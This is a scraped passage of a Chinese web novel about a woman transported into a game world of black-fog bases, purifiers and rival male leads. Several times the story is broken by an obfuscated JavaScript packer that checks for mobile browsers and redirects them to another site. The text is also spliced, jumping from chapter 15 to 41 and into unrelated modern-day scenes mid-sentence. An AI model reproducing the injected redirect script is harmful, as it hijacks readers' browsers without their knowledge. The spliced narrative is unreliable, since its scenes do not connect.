大概是之前和第三基地长联系过了，这会儿来详谈条件的是宋年。 乔梁：“……” 要是把反派加进来，就是四个男主聚齐开会了。有点稀罕。 但是乔梁很快就没这个心情了。 等终于谈好了条件，气氛也放松下来，大家有空闲聊两句。 韩青却笑眯眯地转向了乔梁，“乔小姐昨晚睡得怎么样？我可是做了个美梦呢，早上都不愿意醒过来了。” 乔梁微微僵住。 她并不知道梦境的事，但是韩青却这话语气实在很暧昩。 虽然一早就知道，这位开口就像是调.情，但这是在唐问旸面前！ 她下意识地抬头看过去，不期然地和唐问旸视线对上。 两人都没想到会撞上，僵硬了一瞬又各自撇过去头去。 韩青却若有所思：真的只是梦？ 他像是没觉出那两人之间的微妙气氛，继续开口，“乔小姐有没有考虑过来青雀基地？算是我私人的邀请。” 旁边，本该挂断的通讯依旧显示着绿灯。 韩青却没等到唐问旸反驳，却听见了另一边经电流放大而微微变形的声音，“乔小姐是第三基地登记的净化者，韩基地长不要说笑。” 韩青却面露意外。 净化者？就这么单独放在基地外？ 回过神来，又心下了然。 毕竟官方基地，肯定是以净化中心为主，不至于像是控制战略物资一样限制净化者。 韩青却正这么想着，却见那边唐问旸皱了下眉。 他忍不住挑了下眉。 这可有意思了。 他视线在乔唐两人身上转了一圈，又落到旁边的通讯器上，笑着答，“是我冒犯了。不过登记基地也不是一成不变的，宋部长您说是吗？” 乔梁：“……” 这莫名奇妙的修罗场感是怎么回事？！明明大家都还不熟吧！ * 脱落的墙皮露出斑驳的水泥面，电压不稳的白炽灯闪着光。 这是个地下车库改的射击场。 帆布和木板打了个简易的射击台，画着靶心的A4纸贴在一个类似小车的东西上，似乎可以被控制着来回移动当移动靶的。当然，乔梁现在还用不到那么“高级”的设备。 她抬起手里的枪对准靶心，眯着眼调整着位置对准着中心。 手臂有点晃动，她尝试着调整了姿.势，单脚后撤了半步，终于稳了一点。 但扣下扳机的一瞬间，巨大的作用力让她的手腕往上翻起，枪身差点脱手而出。 不用看结果，乔梁都知道这一枪连靶子都挨不上。 她无声地在心底哀叹了一句，又活动了一下发麻的手腕，再次站稳瞄准。 接下来接连几发，最好的成绩是挨到了靶子边。 乔梁晃了晃已经没有知觉的手腕，觉得今天最好到此为止——如果她还想要自己的手的话。 正收拾着东西准备离开，一转身看着门口正站着一个人。 对方屈着一条腿侧靠着墙，衣领依旧散漫地敞开着，看起来已经在这里站了不短的一段时间。 乔梁意外：“韩青却？” 因为刚才枪声的缘故，她声音不自觉地放大，有点像是喊的。 韩青却忍不住笑了声。 他略微抬了下手，算是打招呼，又递过来一瓶冰水来。 乔梁道了谢，又拿着外套被瓶子包了一层，隔着衣服贴在手腕上，算是个简易的冰袋。 两人并肩往外走了一段，乔梁觉得自己隐隐嗡鸣的耳朵缓和了不少，总算能够正常对话了。 “邓老板说你在这里。”韩青却解释了一句，又问，“怎么想起练枪了？” 乔梁避重就轻，“反正没什么事。” 不管是西街看到的那场当街杀人，还是货轮爆.炸那天晚上的事，对她都多多少少有点刺激。再加上唐问旸去调查赌场，本来预计在交易所呆一天的行程变成了短住，乔梁也暂时闲下来。 生存危机驱使下，人总是很有行动力的。 乔梁从邓陇那问出这个地方，就过来练枪了。 韩青却看了乔梁两眼，再次提出邀请：“来青雀基地怎么样？这边待遇很好，不会出现让净化者涉险的情况。至于宋部长说的基地问题，也有办法解决。” 虽然行动范围会受点限制，不过也是为了安全么。 乔梁并不知道对面话里的隐含意思，但仍是一秒婉拒。 “谢谢韩基地长好意。” 她是脑子抽了才去青雀基地。 虽然韩青却这条线打游戏的时候特别香，金钱权力欲望交织，把人性最本能的一面赤祼祼展现在眼前，刺激感拉满。不过真的遇到了，乔梁只想十分动然拒。 韩青却抬眼看过来。 冰凉的视线凝在身上，但那点不适感还没来得及升起，对面又弯着眼笑起来，他像是感慨，“不太一样啊。” 乔梁：“什么？” 和梦里的完全不是同一个人。 但真的是“梦”吗？不管是不是，都很有意思啊。 想着，他抬手轻轻搭上乔梁的手，半俯下.身，微微低下头。 左手抓着右手，中间还压着个冰袋的乔梁，……？ 有点像是吻手礼，但是没有其实并不是。 并没有亲上，反而是细密的麻痒从指.尖碰触的地方泛开，隐隐作痛的手腕突然缓和了不少。 乔梁愣了一下，电光火石间，某个剧情画面突然从脑海中浮现。 她刚想开口去问，抬眼就对上对面了然的神情。 “你果然知道。” 乔梁：“……” 不，这条线她是无脑通的，根本没认真过剧情。 韩青却抬起手指立在唇间，做了个保密的手势。 “基地那边还有事，我不能离开太久。今天过来，是来和你道别的。”他顿了顿，又莞尔，“我的邀请一直有效，乔小姐可以好好考虑一下。” 如果那个梦境是真的，我们才是一类人啊。 * 乔梁心不在焉地回了邓陇的店里，努力回忆了半天，也只从游戏画面里模糊地捞到点内容：是韩青却这条线的回忆杀。 没点过去的男主不配当男主，韩青却也不例外，在他之前，青雀基地还是个专供娱乐的角斗场。韩青却的身份比较特别，他是前任基地长的儿子，但却是个被亲爹亲手扔进角斗场的私生子。 是的，这是位干掉亲爹上位的“大孝子”，连韩青却这个名字都是那之后改的。 拿着枪对着亲爹脑壳，满脸遗憾地感慨着，“您一直没有给我起名字，既然这样，我只能自己拿一个了。” 他就拿了青雀基地的名字，顺便拿下了青雀基地。 哄堂大孝了啊家人们。 孝死归孝死，但是韩青却能干出这事是有依仗的。 他有能力有脑子有狠劲，好像还有、还有啥啊…… 乔梁：触及盲区.jpg 帅不就完事了？谁去管帅的原因啊！！谁家男主没点特殊能力啊！ 乔梁冥思苦想了大半天，也没想出个结果。 正准备活动活动手腕，却发现刚刚还疼得发木的手腕已经恢复了，只是因为持续的冰敷知觉还有点迟缓。 她用左手的手背碰了碰那个位置，想恢复点温度，但是手落上去以后却是一愣。 她“看”见了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583128|169980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 自己右手的血管脉络。 那晚仓库里发现自己是个人形CT机之后，乔梁也做过尝试。 只要集中注意力，她就可以看见被黑雾侵染的血管，侵染程度越深看的越清楚，她目前看见的最清楚的一个要数尤横了，最模糊的是尤妙——后者当然既不是强化者、也没吃过C药，但是在黑雾环境里面长大，多多少少要受点影响。 可是有一个例外，就是她自己。 她“看”不到她自己的血管。 乔梁之前没想明白，到底是“这能力对自身无效”，还是“净化者就是排斥黑雾”，再或者“她不是这个世界的人”，但是现在看来，首先排除第一点。 所以韩青却的能力是控制黑雾侵染他人？ 天生的？还是…… 乔梁刚刚想到这里，面前突然被推过来一杯水。 思绪被打断，乔梁抬头，“邓老板？” 邓陇：“你和韩基地长……咳，我是说，韩基地长刚才来找你？” 乔梁点头：“对，他要回去了，所以过来道个别。邓老板有事？” 邓陇：“……” 他觉得有事的是唐问旸。 瞧瞧，都是走，唐问旸走得连点动静都没，被留下来的人该吃吃该喝喝。结果姓韩的来了一趟，人就坐这儿发半点呆。 不行啊。 段位差太多了。 并不知道邓陇的忧心，因为没想起什么有效信息，乔梁很快就把那点剧情波澜抛在了脑后，又在射击场练了两天的枪。 结果唐问旸没等回来，反而等来了尤妙。 后者一路匆匆跑来，脸色惨白，气还没喘匀就抢着开口，“哥哥失踪了！” 乔梁一愣，连忙先稳住人，“别急，你哥没那么容易出事。你仔细说说，到底发生什么了？” …… 尤横这会儿正靠着墙根，放缓了呼吸，等着搜查的人匆匆过去。 一直走过去好几波人，确定不会再有人过来后，他才勾着排水管借力，轻轻松松地爬上房顶。他一边往回折返回去，一边在心底感慨“这活干得亏大了”。 那天晚上，尤妙把手里的C药全给他吃了。虽然是出于无奈，但药没了又没拿到货款，想也知道，这事没办法跟上家交代。那么一大笔钱，指着兄妹俩这些年的积蓄没可能垫上，尤横干脆把自己“卖”了：给那些人当打手。 这不是个好活，非死即伤不说，吃药吃到一定程度，就有人等着掏你的雾核了。毕竟猎人的成本比去野外低多了。对那些大人物来说，这是把随时报废的刀，甚至临死还能创造点价值，把雾核回收利用了。 但想在西街活下去就是这回事，尤横心知肚明自己早晚会落到这一步。反而是现在，遇到那两个人调查，对他成了个脱身的机会。 所以不管是帮忙还是为了自己，尤横是真心实意地想搞死这帮人。 但出了点意外。 本来“遇上抢药的，差点儿被杀，为了自救把药吃了”这种故事在西街一点不稀奇，但是尤横很快发现自己被盯上了——他根本不知道为什么！ 尤横在一边在心里祈祷这那小丫头机灵点，看见他没回去知道去找什么人，一边小心地隐藏踪迹，一点点摸回了他刚刚离开的那栋豪宅。 一方面是听听情报，另一方面，他也冤得慌。 他实在没想清楚，自己到底是哪里出纰漏了？！ 尤横来得很巧，屋里的人在打电话。 中年的胖子顶着满脑袋油光，不同于刚才看见他时像是看见什么脏东西的不屑样子，对方这会儿隔着个电话都卑躬屈膝的。 “……对，是的，我们找到耐药案例了。” “他污染程度很高，能量标准起码到A.级了，但还保有理智，没有堕化迹象。” “是、是，绝对符合您的标准。” “……人……这个、……您放心、我们一定给您送过去……” 14.第 14 章 尤横这几天都按时出门早早回来，但是今天突然晚了许多。 尤妙在家等好了几个小时，一直到比以前还要晚的时候，也没有等到人，这才坐不住跑了过来。 “如果有事，哥哥肯定会提前和我说。不然也会想办法让人带个消息回来，不会这么一声不吭……我托哥哥的朋友去他工作的地方问问，但他们说今天根本没见过这个人。这不可能！我早上明明看见哥哥过去了。” 乔梁听得直皱眉。 别的不说，刚刚出过尤妙失踪的事，兄妹俩都是神经紧绷的时候，尤横绝对不会在这种时候不给消息就消失。 乔梁抬头看了眼邓陇，后者却摇了摇头。 尤妙一下子急了，“是真的！” 邓陇比了个安抚的手势，却是无奈，“不是不信你。但你看看我、再看看她，哪个像是能把人抢回来的？把自己送进去还差不多。我这边有几个兄弟，倒也能帮你探探消息，但也就是问个信儿。真要干什么，还是得等等，等问旸回来……唉，你别哭啊！今天、最迟明天，也差不多了。你也知道你哥的能耐，一两天总是没问题。” 好说歹说，总算把人安抚下来。 乔梁看了看哭得还有点打嗝的小姑娘，低声：“你今天先住在这儿吧，和我一起睡。” 尤妙摇头，“我得回去。万一晚上哥哥回来了，看见我不在家，他还不知道怎么急呢。” 乔梁：“……” “……我送你吧。” * 傍晚的天色有点昏暗，交易区不少地方早早亮起了灯，但是远处的街道还是一片漆黑，乔梁牵着尤妙向着那黑暗的方向走去。 走在路上，尤妙像是寻求确认般地问：“哥哥会没事吧？” 不等乔梁回话，她已经自问自答地，“肯定没事的，哥哥很厉害。很小的时候就能和人打架，把比他高很多的人打走。他能抢来东西吃，我被欺负的时候，他都把人打跑……” 随着尤妙视若平常的叙述，乔梁抓着对方的手越来越紧。 像是察觉了什么，尤妙叙述的声音渐渐停下，她仰头看过去，“姐姐觉得我可怜吗？” 乔梁连忙解释：“不，我不是……” 尤妙扯了一下嘴角，虽然不太像样，但是那确实是个笑，“不可怜的，我有哥哥。西街很多人都自己一个人生活，但是我有哥哥——世界上最好的哥哥。姐姐你有吗？” 她语调微微上扬，甚至带上了点小孩子的炫耀。 乔梁愣了一下。 片刻沉默后，她低声，“你说的对，我没有。” 是她自以为是了。 到底拥有什么、没有什么，这本来就是个极其主观的定义。 大概是心底的不确定感作祟，尤妙忍不住说了很多尤横的事，小孩子的世界残酷又真实，正义道德在生存的世界里不值得一提，乔梁有时候甚至都不知道自己该怎么回应。 这么有一搭没一搭聊着，谁都没注意迎面走过了一个半大的少年。 这边的道路很窄，根本容不下三个人并行，就算是一个成人和两个孩子都不可能。但对面少年像是走路根本没看路，半点避让的意思都没有，直接把尤妙撞倒在一边，连看都没看上一眼，径直插着兜往前走了。 但一道压低的、还有点变声期嘶哑的声音传入耳中。 ——“别回去！” 少年有点眼熟，乔梁突然想起来，他好像是那天晚上仓库里看见的孩子之一。 她强行抑制住转头往另一边看的冲动，抬手把僵在地上的尤妙拉了起来，像是本来就打算那么走似的，拉着人在下一个路口左转。 两人一路在交易所兜兜转转，终于看见了不远处邓陇的店。 乔梁松了口气，有点庆幸自己这几天练枪之余也出来踩了一下地图了。 “出事了？” 有人突然凑过出声的时候，乔梁一时都没认出来人。 是唐问旸。 不过他这会儿打扮和平时不太一样，连帽衫的帽子扣在头上，颜色灰不溜秋的，也不知道是脏得还是旧的。本来这种打扮在交易所一点都不起眼，但是他身上却叮铃啷当挂了一堆的配饰……完全是没看到脸就形成刻板印象的精神小伙了。 乔梁缓了好一会儿，都没适应对方这新形象。 虽然她老公穿什么都帅，但是这打扮是不是有点太新潮了？ 唐问旸扫了眼旁边的尤妙，“进去说吧。” …… 一直进到了店里，乔梁才勉强接受了唐问旸的新打扮。 几人把这会儿的情况说了，尤妙又小声补充了点别的细节，“哥哥他前几天回来得特别早，他以前都没这么早回来。还有以前经常过来找麻烦的人这几天都没露面……” 唐问旸听着，对尤横这几天去干了什么心里有数了。 他一边点头，一边把身上乱七.八糟的配饰一个个地解下来，也不知道怎么操作的，很快就首尾相连，成了一条很长的锁链，连那些很难评的骷髅头镰刀装饰，这会看起来都寒光凛凛的。 乔梁眼神控制不住地往上落了一会儿。 对不起，是她狭隘了。 唐问旸把所有内容听完，简单地点点头，“我晚上去看看。” 但是并没有等到唐问旸去查看情况，尤横自己找过来了。 抹黑翻窗，差点被唐问旸把刀架在脖子上。 “等等、唐哥！是我！！” 被放开之后，尤横满头冷汗地往后滚了好几个圈，“我可是好不容易跑出来，别栽在自己人手上——” 话没说完，被尤妙扑了过来，“哥！！” 尤横表情缓了缓，抬手抱住妹妹，拍了拍后背，“没事了没事了。” 但温馨气氛没过三秒，他就黑着脸把人拎开了，“尤妙妙！不准用我衣服擦鼻涕。” 尤妙吸了吸鼻子，吹出个鼻涕泡泡。 尤横：“……” 要不这妹妹还是扔了吧。 在“感人”的兄妹重逢之后，尤横把自己探听来的内容说了。 “……那个C药，我就说他们这么大方地给人喂药很不对劲，原来是在做测试。” “我也不知道是怎么回事，总之按照他们的说法，我合格了。好像是A.级？这是什么标准？说我身体素质好吗？” 唐问旸解释：“身体吸收黑雾能量的程度。各个基地的标准都不太一样，但是比较公认还是目前官方公布的标准。” 他这么说着，准确地报出了一个数字区间，精确到了小数点后第三位。 乔梁：“……” 雷达动了，突然梦回生理考试前。 尤横没觉出什么问题，还颇为得意地，“那我还是不错。那唐哥你呢？你是什么等级？” 唐问旸没回答，只是声音冷淡地，“不是什么好东西。” 尤横被噎了一句，表情讪讪地住了口。 唐问旸的目光却看向了乔梁。 每个人对黑雾的接纳程度不同，但体内黑雾能量越高、越容易堕化，这才是不争的事实。所以不管是基地还是交易所，人口聚集的地方都装设有特定的设备，降低区域内的黑雾浓度，以便人能够在里面长期生活。 净化者比较特别，他们像是产生免疫的变异个体，天生排斥黑雾的能量，也能够通过接触，将这种排斥作用放大到他人身上。虽然净化者的净化不像净化中心那样强制剥离黑雾能量，但是净化结束之后，也会有一段时间的衰弱期。 正常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大概范围圈定，接下来就是缩小排查区域了。尤横在西街的那个帮里呆了有一阵子，人缘混得不错，有些无关紧要的闲聊内容也多多少少带着情报。 随着这些讨论，零星的游戏画面在脑海里浮现，乔梁有点想说话。 但是看着旁边的尤家兄妹，她还是把话憋了回去。她没法解释消息来源，尤横再问一句，她可圆不过去了。 唐问旸看出来了，他瞥了眼尤家兄妹，开口：“我出去倒杯水。” 乔梁还没反应过来呢，尤妙已经从凳子上跳下来，“我去吧。” 唐问旸脚步顿了下，低头看过去。 尤妙还不明所以，倒是尤横，看看唐问旸看看乔梁，恍然间明白了什么。 他一把薅起了妹妹，还像模像样地打了个哈欠，“那什么，今天太晚了，妙妙也该睡觉了，我们就先走了。有什么事，咱们明天再接着商量。” 一番自以为成年人的“成熟”发言后，尤横摇头晃脑、脚下飞快地溜了出去。 身后，他还给贴心地关上了门。 唐&乔：“……” 等出门了之后，尤横就表情一变。 他手指戳着怀里人的小脑壳，恨铁不成钢地，“你是不是傻啊？！” 看着尤妙还是一脸茫然的样子，他抬起手来，勾了勾小指，“明白了？” 尤妙摇头：“不——” 她觉得那两个人不是那种关系。 还没说完，就被尤横按着脑袋一阵揉搓，“行了，等你再大点就懂了。” 15.第 15 章 并不知道外面兄妹俩那窸窸窣窣的对话，但尤横那一番作态还是让屋内两个人货真价实的成年人陷入了好一阵尴尬。 还是乔梁先回过神来。 毕竟当面叫人“老公”她都干过了，眼下都是小场面。 乔梁定了定神，开口就说起了正事，“那附近有山。” 她的语气比之前肯定得多，毕竟上次在赌场已经验证过了，虽然二次和三次之间有点差别，但游戏背景图真的能用。 唐问旸果然默契地把对话掰回了正轨，“距离多近？” “从山上能观察到加工厂内部的情况……”乔梁说到这里，突然顿了下，狙.击手还有水平参差，这种观察应该也有专业的和不专业的区别。她想了想，补充了句，“我是说你。你从上面能观察到里面的情况。” ……“他”去过？ 想起那些散落反应罐的碎片，唐问旸握笔的手紧了紧。 他深吸口气，把这些“无关”内容压下，转而问起了此刻更需要的细节，“加工厂？规模多大？是在基地内部？” 乔梁摇头，“不在基地内，是个野外的、独立的加工厂。规模……应该算大的？里面有不少（路）人（NPC）。” 唐问旸拿着笔在圈定的几个基地位置旁边画了几个等距的虚线圈，解释，“不会离基地太远。野外的黑雾浓度很高，普通人没法一直呆在外面，他们需要人工作，就必须把路程压缩在一天的车程之内。” 这么说着，他又拉开另一幅地图。 乔梁本来以为是附近的地形图，等唐问旸开口才意识到是这个世界的特产：黑雾分布图。 “这种类型的药物生产，很容易造成附近的黑雾浓度的大幅度变化。它不会设在低污染区，不然很容易被监测到……” …… 运输线、雾区分布、附近地形，再加上尤横提供的消息，这么多内容一交叉，基本圈定了范围，而交叉范围的内只有一个基地。 地点初步确定了，之前压下去的思绪反而占据了脑海。 比方说那个蒙着血色的梦境，再比如说乔梁几乎明示的、平行世界的“他”曾经去过那个加工厂。 唐问旸靠着桌边沉默了一会儿，低声，“那是……”你吗？ 他只开了个头就止了声。 不可能，人还好端端地站在他的眼前。而梦境中那几乎渗入骨髓的凉意，明明白白地昭示着结局。 唐问旸抬手按了下眉心，不想让那些梦境影响了自己太多，但还是开口，“这次的事，你就别过去了。” 乔梁本来还在盯着地图上标注的“启应基地”发呆，试图从这个名字里联想起点游戏剧情。突然听到这话，她意外抬头，“为什么？” 唐问旸：“……” 乔梁试图争取：“我觉得我应该过去。和这次一样，我说不定能想起点什么。” 比方说研究所的线索、反派的线索。虽然打游戏的时候完全没细看，但是几条剧情线一定彼此相关。就像是青雀基地是调查赌场，第三基地是调查C药，最后却是同一件事，既然这样，没道理反派的研究所线是纯粹独立出去的。 唐问旸：“有危险。” 乔梁一下子沉默了。 这话可太对了！ 乔梁想着自己这几天练的枪，又想着巷子里那个被枪击后又被生生捅死的人。这个世界有哪个地方不危险吗？ 但越是这样，越是—— “我要去！” 不去难不成在这儿等着吗？！等一个不知道有没有帮助的结果。 什么都抓不住的感觉简直糟透了！ 乔梁深吸口气，“我不去加工厂，但是启应基地没关系吧？再怎么样都是登记在册的基地，不会比交易所更混乱。” 她说着这些，不自觉的往前凑近。 唐问旸下意识想要避开，但又觉得动作太刻意，硬生生地定在了原地。 拥抱、亲吻、唇齿交.缠…… 过界的画面在脑海中闪现，唐问旸呼吸一下子滞住了。 乔梁也愣了一下。 这个角度，不管是动作、还是场景，都有点像cg啊。 唐问旸艰难地把理智从意识里拉扯出来，却突然想到：刚才那瞬间的画面，不属于之前任何一次梦境。 看见明显也在晃神的乔梁，某些冰凉又清晰的念头在脑海中成型，唐问旸骤然冷静下来，“你在想什么？” 又想起了什么。 乔梁被这冰凉的声音激得回神，她仓促地拉开距离，脱口而出“抱歉”。 唐问旸：“……” 看着对面表情明显难看下去的唐问旸，乔梁只想找个地洞钻进去。 有什么比YY当事人被正主抓包更尴尬的吗？！哦，当面叫人“老公”……说起来，她一直没认真思考一个问题，她在唐问旸眼里到底是个什么形象啊？ 想想就天塌了的程度！ 耳边传来对方平静的声音，“前几天一个小型基地的抗污染设备意外损毁，不少人都往旁边的基地涌。启应基地就在那附近，最近去的人很多，我让宋年帮忙准备个身份。” 乔梁：“……好。” 这是答应了的意思吧。 那能不能把前身份的记忆也一键刷新掉？她想重开！ * 第二天，往启应基地路上。 唐问旸开车，乔梁坐在副驾驶上，后面尤横尤妙兄妹。 气氛有点僵硬，乔梁还陷入在自己可能的奇怪形象里，整个人都很消沉。唐问旸借着看侧向镜的动作瞥了眼乔梁的表情，也沉默着没说话。 从昨晚就这样了。 因为被提醒了“事实”？因为不是“他”？ 尤妙敏锐地察觉到气氛的异样，她看看驾驶座又看看副驾，忍不住求助的目光投向哥哥：那两个人好像吵架了。 尤横……尤横什么都没发现。 因为要搞个大事，他昨晚兴奋得到后半夜都没睡着，上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唐问旸目光落过去一瞬，又收回视线。 等到再上车的时候，尤妙奇怪地抬头往前看了看。 好像突然气氛就缓和了下来。 之前是在担心能不能通过检查吗？ * 有了尤妙的这个雷达，几个人住宿的时候又避开了一家“感觉不太舒服”的店。 只是因为涌入的人太多，整个基地内的住宿都有限制，四个人只给安排了两个房间。 往里面走的时候，乔梁已经默认了尤妙和她住，尤横和唐问旸一起。 所以等到尤横刷开房门，自然而然地把妹妹拎进去的时候，被留下的两个人都愣在原地。 乔梁看看已经被自己打开的门，再看看旁边的唐问旸。 想着自己大概率已经没救了的形象，乔梁干脆把门更打开了点，提出邀请，“里面有两张床。” 唐问旸：“……” 40-45 第 41 章 第 41 章 两个队友都没事，事后那个0.5过来道歉了。 说实话，乔梁不是很想理他，但是考虑到自己才是扇巴掌的那个人，未免事后投诉，她保持了非常peace&love的状态，说了一箩筐好话，和颜悦色地把人哄了回去。 但是等人一走，她神色立刻冷淡下去。 唐问旸在旁边看到了。 他沉默了片刻，问：“很生气？” 乔梁叹气：“能理解，但无法接受吧。拼尽全力救回来的人，因为一些别的原因，主动放弃生命，总觉得自己的努力都白费了。有种‘有这时间，干点别的什么不好嘛’的感觉……话虽这么说，真有下次，也不可能看着不管。” 唐问旸微微怔然。她说这话的时候，态度很平静，甚至带着点无可奈何的叹息。 午后并不刺眼，透过林叶的间隙落在她身上，整个人都泛着一层朦胧的柔光。当自己都绝望放弃的时候，却仍旧有人不屈不挠地想要将他拉拽回人间。怎么能不动容呢？仿佛只要有这个人在，那绝望的冰冷便会如泡沫般蒸发。 心底那道声音越发叫嚣着鼓噪，但难得的理智挣扎着拉拽着思绪。那一声声质询像刀刃一样在神经来回切割。 他真的能将这一捧阳光关到不见天日的地下吗？ 唐问旸沉默了片刻，哑声开口：“你想要怎样的‘更好’？” 你愿意在这个世界追寻一个“不那么完美”的结局吗？ 乔梁被问得一愣，“怎么突然这么问？就算这么说，我也没法立刻回答。硬要说的话，让尽量少点的人死去？”这话出口，她又觉得仿佛说了句“世界和平”之类的废话，顿了顿，换了个说法，“我是说这次的事，先把研究所的问题解决了。至于说以后，谁知道呢？” 唐问旸那边的情况，乔梁还无从得知。 热闹的年节过去了，脑海中的那个声音没再出现，一切都重新步入正轨。有时候乔梁都恍惚觉得，那或许是自己臆想出来的幻觉。 倒是她的漫画还在稳步进展。“多谢宸哥，你怎么知道我困了？还特意帮我买咖啡，多不好意思啊！” 旁边那男生这么说着，可半点都没有“不好意思”的表现，伸手就要去接。 陈宸一拎袋子躲开，“不是给你的。” 伍徵明怪声：“唉？不是吧？你一个人喝两杯？这可是下午啊，你晚上要不要睡了？……别那么客气，兄弟我帮你分担点。” 陈宸拧眉：“你小点声。” 他这么说着，往旁边看了一眼。 伍徵明一开始还不明所以。 ——这可是课间，他声音也不大啊？ 但看见陈宸的动作，很快意识到什么，再看陈宸手里的咖啡，立刻露出了“我懂我懂”的眼神。 他之前也注意到了旁边那女生了，下午课大家都很困，但是像那个女生那么坚持还真的不多见，头一点一点地还挣扎着清醒……还怪可爱的。 就没想到老陈下手这么快。 伍徵明啧着声唏嘘着“没想到没想到”，在对面渐露威胁的眼神下，终于做了个封嘴拉拉链的姿势，但紧接着又接上，“加油！兄弟我精神上支持你。” 【梁牍老师你好，我是月下平台的编辑松鼠，很高兴接到您的投稿……】 “梁牍”是乔梁投稿用的笔名。 乔梁把邮件反复看了好几遍，确认是投稿通过的通知没有错，脑子嗡地一下。 心跳在胸腔中跃动、一下重过一下，血流被泵向四肢和大脑，乔梁后知后觉地发现自己的指.尖都有细微的颤抖。她使劲握了握手，但是那兴奋的情绪实在没有办法平复。 乔梁根本坐不住，撑着桌子推开转椅，在原地转了两圈，忍不住想要把这激动的情绪分享出去。 但是这点念头刚刚生出，大脑像是被泼了瓢凉水一样冷静下来。 这并不是考试成绩、或者拿到某某竞赛奖一样，能和爸爸妈妈分享的事情，那两人大概率不会为此高兴。 那上头的情绪稍微降了温，乔梁将目光投向旁边的聊天窗口。 在最上面的当然是刚刚互相抱怨吐槽过“假期余额不足”的室友群，乔梁点开之后却犹豫了一下。 ——真的要说吗？唐问旸是快中午的时候过来的，一过来就看见乔梁抱着自己的板子写写画画。 他先是问了自己关心的问题，[今天中午吃什么？] 压感笔在数位板上划出了一道突兀的直线，乔梁黑着脸按了撤销，心里愤愤地：就知道吃！ 两人昨天摸索过交流方式，并非明确指定对话方的心声并不会被另一个人听到。 但是意识交流实在是个难控制的事，乔梁不确定是自己刚才的话被听到了，还是对方单纯地感知到她的情绪，只听他关切问，[你心情不好？] 被这么一问，乔梁气闷的情绪霎时散开，同时些微的愧疚在心底蔓延。 因为个人情绪牵连无辜人的行为实在糟透了。 她才刚这么想着，就听见对方接着道，[吃点东西心情就好了。] 乔梁：[……] 她用支架撑起pad的动作一顿，面无表情地按住电源键熄屏了屏幕——上面是昨天没有播完的“十万个为什么（儿童版）”。 关心？呵。 这人恐怕只关心自己有没有得吃。 唐问旸确实感觉到乔梁生气了，但对此却很是摸不着头脑。 他仔细回想了一遍自己刚才的话，也没觉得哪里有问题，最后只能归结为“小姑娘的心思可真难懂”。 眼见着“科普视频”没的看了，唐问旸也没强求，顺势就把目光落在了乔梁前方的屏幕上。 看着乔梁一点点勾勒线条，他心底有点猜测，但还是觉得怪异，最终忍不住出声，[你这画的是什么啊？] 说实话，乔梁现在不太想理人。 但出于教养，她还是硬邦邦地回了两个字，[盔甲。] 却不料—— [……噗~！] [……] [……？！] 嘲笑吧！这个人绝对是在嘲笑吧！！！ 外面传来乔妈妈的声音，“梁梁，出来吃饭！” 乔梁表情愤愤地秒回：“我不饿！” 在过往的十多年里，这实在是个太常见的回答，章琪照例絮叨了两句，就没再强求。 一阵乒乒乓乓的摆盘声后，外面传来乔爸爸的声音：“我去叫梁梁。” 章琪：“不用，那孩子不吃了。” 乔爸：“又不吃？”看着从小到大、吃饭都是头等难事的女儿大口扒饭，章琪表情也变得疑惑起来：真这么好吃？ 她不确定地看了看自己碗里的饭，试探地挑了了一点尝尝，好像确实挺香的。 “那以后就买这个牌子了。” ——最后，她这么拍板决定道。 正忙着扒饭的乔梁口齿不清地应了一声。 “别光吃饭，吃菜。” 乔妈妈这么说着，夹了一筷子没刺的鱼腹肉到乔梁碗里。 乔梁百忙之中抽空“嗯”了一声，拌着饭填到了嘴里。 浓烈的味道在舌尖泛开，咸度适中、层次丰富，没有一点腥气…… 乔梁：？？？本来就是关系很远的亲戚了，以当代年轻人断亲状况，乔梁知道有这么个人都是难得，更别说主动打听了。 乔梁又往嘴里填了一筷子茄子，含糊：“没什么，就是突然想起来了，问一问。” 章琪也没有多想，只当女儿好奇。 她点了下头肯定了乔梁的询问，就跟女儿说起了那家的情况，“他们家也不容易，你秀芹表姑奶奶就那么一个儿子……” 乔妈妈在那里感慨别人的家事，但是乔梁却满脑子复杂的思绪。 ——有了，家族遗传病史！ 够了啊！她知道她妈做饭好吃，但只是家常菜而已，这仿佛什么星级大厨的感觉是怎么回事？！ 她内心挣扎着，筷子却不受控制地伸向餐桌。 章琪本来在旁边看着挺高兴的，这孩子从小吃饭是难题、能多吃两口都谢天谢地，还严重挑食，不吃的东西梁直能列个长单子，她都不记得对方上次吃得这么香是什么时候了。 但这么高兴着高兴着，又难过起来。 孩子在外面得饿成什么样、才吃得这么狼吞虎咽啊？ 章琪这么看着，脑子里浮现了一个模糊的念头。 她顿了顿，试探开口：“要不妈妈在你学校附近租个房子？” 章琪习以为常，“昨天吃得多，估计撑着了。” 在乔爸乔妈态度鲜明的反对下，乔梁对于画画这件事总有种“不务正业”的认知，那种下意识想要隐藏的羞耻感实在不是理智能够克服的，所以朋友们虽然知道她在画画，但是都并不清楚具体情况。突然说这种消息，是不是太奇怪了？ 纠结犹豫间，那种兴奋的情绪已经散得差不多了。 乔梁鼠标在聊天列表上戳戳点点，终究还是没能把消息发出去。 